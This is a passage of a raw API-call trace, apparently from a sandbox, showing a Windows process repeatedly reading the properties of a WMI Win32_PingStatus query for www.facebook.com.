varVal1="root\\cimv2", varVal2=0x0), pType=0x229f078*=8, plFlavor=0x229f07c*=64) returned 0x0 [0138.709] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.709] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.709] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229f0c4*=0, plFlavor=0x229f0c8*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x229f0c4*=8, plFlavor=0x229f0c8*=64) returned 0x0 [0138.709] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.709] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.709] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e93c | out: puCount=0x572e93c*=0x2) returned 0x0 [0138.709] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0x0, pszText=0x0 | out: puBuffLength=0x572e938*=0xf, pszText=0x0) returned 0x0 [0138.709] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e938*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.710] IWbemClassObject:Get (in: This=0x5c506a0, wszName="Address", lFlags=0, pVal=0x572e938*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229f300*=0, plFlavor=0x229f304*=0 | out: pVal=0x572e938*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x229f300*=8, plFlavor=0x229f304*=0) returned 0x0 [0138.710] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0138.710] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0138.710] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0138.710] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0138.710] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.710] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0138.710] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0138.710] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.710] IWbemClassObject:GetNames (in: This=0x5c506a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e93c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e930 | out: pNames=0x572e930*="\x01ƀ\x04") returned 0x0 [0138.710] SafeArrayGetDim (psa=0x5c78c98) returned 0x1 [0138.710] SafeArrayGetDim (psa=0x5c78c98) returned 0x1 [0138.710] SafeArrayGetLBound (in: psa=0x5c78c98, nDim=0x1, plLbound=0x572e7c8 | out: plLbound=0x572e7c8) returned 0x0 [0138.710] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.710] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.710] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.711] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.711] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.711] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.711] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.711] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.711] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.711] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.711] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.711] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.711] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.711] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.711] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.711] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.711] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.711] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.711] SysStringByteLen (bstr="__PATH") returned 0xc [0138.711] SysStringByteLen (bstr="__PATH") returned 0xc [0138.711] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__GENUS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229f6d8*=0, plFlavor=0x229f6dc*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x229f6d8*=3, plFlavor=0x229f6dc*=64) returned 0x0 [0138.712] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229f70c*=0, plFlavor=0x229f710*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x229f70c*=8, plFlavor=0x229f710*=64) returned 0x0 [0138.712] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.712] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.712] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229f764*=0, plFlavor=0x229f768*=0 | out: pVal=0x572e92c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229f764*=8, plFlavor=0x229f768*=64) returned 0x0 [0138.712] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DYNASTY", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229f78c*=0, plFlavor=0x229f790*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x229f78c*=8, plFlavor=0x229f790*=64) returned 0x0 [0138.712] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.712] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.712] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__RELPATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229f7e4*=0, plFlavor=0x229f7e8*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x229f7e4*=8, plFlavor=0x229f7e8*=64) returned 0x0 [0138.712] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.712] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.712] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229f9c4*=0, plFlavor=0x229f9c8*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x229f9c4*=3, plFlavor=0x229f9c8*=64) returned 0x0 [0138.713] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DERIVATION", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229f9f8*=0, plFlavor=0x229f9fc*=0 | out: pVal=0x572e92c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78d28*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x229f9f8*=8200, plFlavor=0x229f9fc*=64) returned 0x0 [0138.713] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SERVER", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229fa2c*=0, plFlavor=0x229fa30*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x229fa2c*=8, plFlavor=0x229fa30*=64) returned 0x0 [0138.713] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.713] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.713] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229fa78*=0, plFlavor=0x229fa7c*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x229fa78*=8, plFlavor=0x229fa7c*=64) returned 0x0 [0138.713] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.713] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.714] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229fac4*=0, plFlavor=0x229fac8*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x229fac4*=8, plFlavor=0x229fac8*=64) returned 0x0 [0138.714] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.714] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.714] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e970 | out: puCount=0x572e970*=0x2) returned 0x0 [0138.714] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0x0, pszText=0x0 | out: puBuffLength=0x572e96c*=0xf, pszText=0x0) returned 0x0 [0138.714] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e96c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.714] IWbemClassObject:Get (in: This=0x5c506a0, wszName="Address", lFlags=0, pVal=0x572e96c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229fd00*=0, plFlavor=0x229fd04*=0 | out: pVal=0x572e96c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x229fd00*=8, plFlavor=0x229fd04*=0) returned 0x0 [0138.714] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0138.714] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0138.714] IWbemClassObject:Get (in: This=0x5c506a0, wszName="Address", lFlags=0, pVal=0x572ea20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229fd00*=8, plFlavor=0x229fd04*=0 | out: pVal=0x572ea20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x229fd00*=8, plFlavor=0x229fd04*=0) returned 0x0 [0138.714] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0138.714] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0138.715] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x3f0 [0138.715] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0138.715] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0138.715] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.715] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a0960*=0, plFlavor=0x22a0964*=0 | out: pVal=0x572e5d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22a0960*=8, plFlavor=0x22a0964*=64) returned 0x0 [0138.715] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.715] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.716] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a0960*=8, plFlavor=0x22a0964*=64 | out: pVal=0x572e5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22a0960*=8, plFlavor=0x22a0964*=64) returned 0x0 [0138.716] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.716] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.716] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0138.716] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0138.716] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.716] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a09fc*=0, plFlavor=0x22a0a00*=0 | out: pVal=0x572e5d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a09fc*=8, plFlavor=0x22a0a00*=64) returned 0x0 [0138.716] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.716] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.716] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a09fc*=8, plFlavor=0x22a0a00*=64 | out: pVal=0x572e5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a09fc*=8, plFlavor=0x22a0a00*=64) returned 0x0 [0138.716] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.716] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.716] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0138.716] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0138.716] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.717] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__Derivation", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a0b58*=0, plFlavor=0x22a0b5c*=0 | out: pVal=0x572e5d8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78c98*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22a0b58*=8200, plFlavor=0x22a0b5c*=64) returned 0x0 [0138.717] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__Derivation", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a0b58*=8200, plFlavor=0x22a0b5c*=64 | out: pVal=0x572e5e0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78d28*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22a0b58*=8200, plFlavor=0x22a0b5c*=64) returned 0x0 [0138.717] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0138.717] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0138.717] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.717] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a0dc0*=0, plFlavor=0x22a0dc4*=0 | out: pVal=0x572e5d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a0dc0*=8, plFlavor=0x22a0dc4*=64) returned 0x0 [0138.717] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.717] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.718] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a0dc0*=8, plFlavor=0x22a0dc4*=64 | out: pVal=0x572e5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a0dc0*=8, plFlavor=0x22a0dc4*=64) returned 0x0 [0138.718] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.718] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.718] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0138.718] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0138.718] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.718] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__Derivation", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a0ee8*=0, plFlavor=0x22a0eec*=0 | out: pVal=0x572e5d8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78c98*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22a0ee8*=8200, plFlavor=0x22a0eec*=64) returned 0x0 [0138.718] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__Derivation", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a0ee8*=8200, plFlavor=0x22a0eec*=64 | out: pVal=0x572e5e0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78d28*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22a0ee8*=8200, plFlavor=0x22a0eec*=64) returned 0x0 [0138.719] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5f4 | out: puCount=0x572e5f4*=0x2) returned 0x0 [0138.719] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0x0, pszText=0x0 | out: puBuffLength=0x572e5f0*=0xf, pszText=0x0) returned 0x0 [0138.719] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.719] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5f4 | out: puCount=0x572e5f4*=0x2) returned 0x0 [0138.719] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0x0, pszText=0x0 | out: puBuffLength=0x572e5f0*=0xf, pszText=0x0) returned 0x0 [0138.719] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.719] IWbemClassObject:GetNames (in: This=0x5c506a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e5fc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e5f0 | out: pNames=0x572e5f0*="\x01ƀ\x04") returned 0x0 [0138.719] SafeArrayGetDim (psa=0x5c78d88) returned 0x1 [0138.719] SafeArrayGetDim (psa=0x5c78d88) returned 0x1 [0138.719] SafeArrayGetLBound (in: psa=0x5c78d88, nDim=0x1, plLbound=0x572e488 | out: plLbound=0x572e488) returned 0x0 [0138.720] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.720] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.720] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.720] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.720] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.720] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.720] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.720] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.720] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.720] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.720] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.720] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.720] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.720] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.720] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.720] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.720] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.720] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.721] SysStringByteLen (bstr="__PATH") returned 0xc [0138.721] SysStringByteLen (bstr="__PATH") returned 0xc [0138.721] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__GENUS", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a1738*=0, plFlavor=0x22a173c*=0 | out: pVal=0x572e5ec*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22a1738*=3, plFlavor=0x22a173c*=64) returned 0x0 [0138.721] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a176c*=0, plFlavor=0x22a1770*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a176c*=8, plFlavor=0x22a1770*=64) returned 0x0 [0138.721] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.721] SysStringByteLen 